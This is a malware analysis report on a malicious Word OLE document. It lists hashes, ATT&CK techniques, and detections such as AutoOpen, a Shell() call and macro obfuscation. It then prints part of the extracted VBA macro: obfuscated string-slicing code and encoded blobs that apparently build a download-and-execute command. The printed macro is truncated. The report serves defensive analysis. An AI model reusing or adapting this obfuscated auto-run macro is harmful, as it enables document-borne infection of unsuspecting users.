Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9fd1a3ea8492cd8d…

MALICIOUS

Office (OLE)

81.0 KB Created: 2017-10-24 21:42:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: cabbc89b87166ccc04ecc27e5567f6e4 SHA-1: d41e92b876152d502fee6f7f49b46276088bb983 SHA-256: 9fd1a3ea8492cd8da3265545924818954c6e440d4bb99275e7aab3e7ba82b431
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function, which is a common technique for automatically executing malicious code upon opening the document. The macro utilizes a Shell() call, indicating an attempt to execute an external command. This strongly suggests the macro's purpose is to download and execute a second-stage payload, a typical behavior for malware families distributed via Office documents.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15799 bytes
SHA-256: d8b84cd054c479ab9b9b89e922d9e8c2178c205cd305d388dce8a4d78e843ed7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 43 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function XHZYuVfip()
SACOrQaomC = "UP8DQBbMzUMlQkXinYCEuzfuOqYNiZYctqjknKXcCXkNhrJOBppUuiPNXptXlNiYwjrZEmvdBaCWPRNXhJMojDiPbTNzQAqopLRzAjJOtMTUbszGbWpcBtotBbwlZzMAkNhDzQWwzzuWjOojVGPAHIFJDAXBWCSYMA2N3AA4HCWHNYGM0"
wAZibhq = Mid(SACOrQaomC, 7, 140)
tWYTLnCfkYm = wAZibhq
HNGUcQ = "7Q4L8CMQNP5OPEqbEAIlwjuOUqdlqXUVzRZYOuPIUsBISmiwkwqTHClMpWIjOrbQXqIBfSNKlARGhlwhLjBuhANujNirljucRklbicRRjfiHlfiEaaUhqhjWdOVRkWZBFoowzVDjPkKBSFIAidRKPMmkBOwPGzjMGhBzqhEEXlSFWhEXGVjGFOmtBEvkXncPDzvlELJBYMnitjNTKaJlQZHsuHvmmThjICCYmTSuMihtbIzUrbawirzdqDqwPXOFiDVqiohrHOYisORmIavLtlFRDZiicWfpTcOXmJqCtioPSRCS2"
jrbolqPAraA = Mid(HNGUcQ, 14, 289)
oRJUtIdiC = jrbolqPAraA
aitrzsNLwir = "79ZXLQ2ZTQI9WJBpULNmVGEndFfprjGAmMizvJqVKjWvoPSOnLCimwUcPsbUWNSSbkmOzCuKVscmjIzNmQBjhbNnsBkCiWzwRDUDdEQlRsJuWhsGtNiFLllAWzWvRrbwsfVjovjiAQPpRTQKJiJUoukfRTjiiUTZQKBqMMRzizEvWwiDiLmniHKwuqOVPFzfwpZGRawwMLqoppIVkcwWhjrIADwWwwiYzZzhXbmIMpaWQWJFhskmJdzQwQGOdcwQcRoQpbzJqoKs9O6BI6"
FPvnOw = Mid(aitrzsNLwir, 15, 254)
nBhcwjjk = FPvnOw
cDtWLF = "D1P1MwATjOKtGLzrcEwRJnnPQScSqWaljaUzNcIwWQiZYcAKuTlizFPImVHWTidMnYNfrCdAvzvtINqnSRXWlsoaLLLsUlionRmzPUTsplnzKVzYiTECKGbukmUfqlfJVGGra5S6H6X7M3TFQ84CBYCR80YNO4E"
dhidfww = Mid(cDtWLF, 6, 128)
NHzJOOXvum = dhidfww
aUdkVbDaa = "7F7EE6UOYJE2CQ2DKX8U6JVuKNmvXYwZkXp3HJJJ39W4"
fmIJsNVsR = Mid(aUdkVbDaa, 23, 13)
tnLhNS = fmIJsNVsR
tctlqImZ = "0G998JrYwwfhzFrPqMmNBhcdhprPcAnBEGdcDPIwnvGDfZcpsWiTEXdcsdYBibvwKidtbPLaDoaFbZwINBWFVUwjcAjaqGPLzIsAviNdKDPPzYATiQnhFpcqhwQafljwZPFTjzMiotvSEhiEAQvZSiGKfCTzSmzZUSqiShnjEJsLuKlANMaPpJdrJvndiNMBvVzmqAmSdOVJpuPVRSlFLijKpwZWuJCrwrQYMzJNaImbYB5MPK6O"
qnqmIv = Mid(tctlqImZ, 7, 230)
DTiUwWdL = qnqmIv
dbEPWp = "1VBAJ4OMC8DT9VOH7DLKMA4OIVUPR6KVZEkPrlUSitLOsYCVBoLNQnIHaWUlpttwjJLkWfKSGTlkFNCsWZWjCJfmvdpVRjckzPfiMRwVisHwBXCMTbOQWMtZiZotqpBXqAlqiUjEaBCKCilYacDSNU"
BXAOBwYSYX = Mid(dbEPWp, 33, 114)
HMbdfjd = BXAOBwYSYX
hcLjFD = "I4QLJT9LXKKDGOICX2GGUIYM3K5Y1HWFUrdtqoFLwPWbjjHVYikrKuzhtQGubvVTFKK6MO"
pPQJaquww = Mid(hcLjFD, 32, 35)
QzZfWzwkF = pPQJaquww
NuKjL = "VOBNVW8IV9U0CK3JdYcUnntEjBRoFrqnRJZAvaswAaiKkAuDVY1FSKX4"
Nvzitbtq = Mid(NuKjL, 17, 34)
YUsqZ = Nvzitbtq
LFrLRqmZ = "C27A7F84DLK68DMYoUCPfRMLbHpMmnwrbPXUMdNzdqJRJXfDwIWVwKqdwqPpCDmYCRlKkRPKGEloHvCEbmQiRbvRYuYVOXvS7EX"
JwmUok = Mid(LFrLRqmZ, 17, 79)
tlKVnSFj = JwmUok
ziszI = "G7FPQ3DZLEOD24lbmDoobDLtwDnFGzOljjOPAtAzjsRKwpzmnGwZhqNQQVYiVlvuUDfiDWbsDpFjlBzIEBRzCpDtWwwfVRdwzXqsJQiRfEVsliiPXQdUUwrizmMFXwXmMGlOLEwoSATwULHsTjHEnJiAfLsXDdtjhjjisQ8BKR4FY9U3KY"
owFqKwipw = Mid(ziszI, 15, 152)
PCnLwhBQbow = owFqKwipw
DXfYFZUqH = "UOIEW9M4CPXV5KDTRpBTctKoiUlooSwCclizLbkoGkRkfdzCfnnwHKYmBEsjsFuOkdBHiEHqENNscZJBUjIBfAvSMwzHjBwApCzBbsUbjztuwjJcuqOJztjkijumGzGDQNCZZIabOhUiGAVjmVNsmnCwTPTrwhUjqqdjijDmQmuPYAihOOAlmNQdKGGJoidhNorQXmCCRaczsnXSlldjhitcZzYXdtziJMCkINJTHC3RSOAKHELUJ2J4"
tqPaiwFYtbI = Mid(DXfYFZUqH, 15, 217)
whFwrLfHYz = tqPaiwFYtbI
vhlkiKBRij = "7UDT95TTQI6DRM59FRDOBWIOJFisDqwzFNzQEKODniLtEPDfjUNFiUfHNTjmIuOScCpMvfvPTGwWjKQJBCMidrPlipCkdcvsQsQBarkAZ57YJYI7L9N"
nrLfU = Mid(vhlkiKBRij, 26, 80)
ALSTEFd = nrLfU
End Function
Function KzqniMwXn()
ihKRz = "IROC8PTB4LGEXURFNwBsADQANwAsADkAOABGADEAMAA2AH0AMQAwADQAOgA0ADYAPAAxADAAMAA8ADEAMAAxAGwANAA3AGoAMQAxADUAZwA4ADUAPAAxADAANwBqADEAMQA3ADoANAA3AGwANAA0AH0AMQAwADQAdgAxADEANgBGADEAMQA2ACwAMQAxADIAPAA1ADgARgA0ADcAZwA0ADcAagAxADEAOABGADEAMAA1AGcAMQAxADIAbAA0ADUAagAxADEANgA8ADEAMAAxAHIAOQA3AH0K15EX4X6O3M90PSR5A"
BDPjTAwXqmH = Mid(ihKRz, 17, 271)
luzAYwkJ = BDPjTAwXqmH
IFXKHmR = "SVU7VWK9YYY4M1QByAF0AWwBpAG4AdABdACQAXwApACAAfQAgACkAIAArACIAIAAkACgAcwBFAHQALQBWAEEAcgBpAGEAYgBMAGUAIAAnAE8ARgBTACcAIAAnACAAJwAgACkAIgApACAAVRHFJ7M3VHRW39ELD5I3"
uAaRkZh = Mid(IFXKHmR, 15, 127)
DbanfV = uAaRkZh
snnYpcWjB = "ZDSCL4LAQ1ED70CXZUAXQArACcAWAAnACkAIAAoACAAIgAkACgAUwBFAHQALQBJAFQAZQBtACAAJw
... (truncated)

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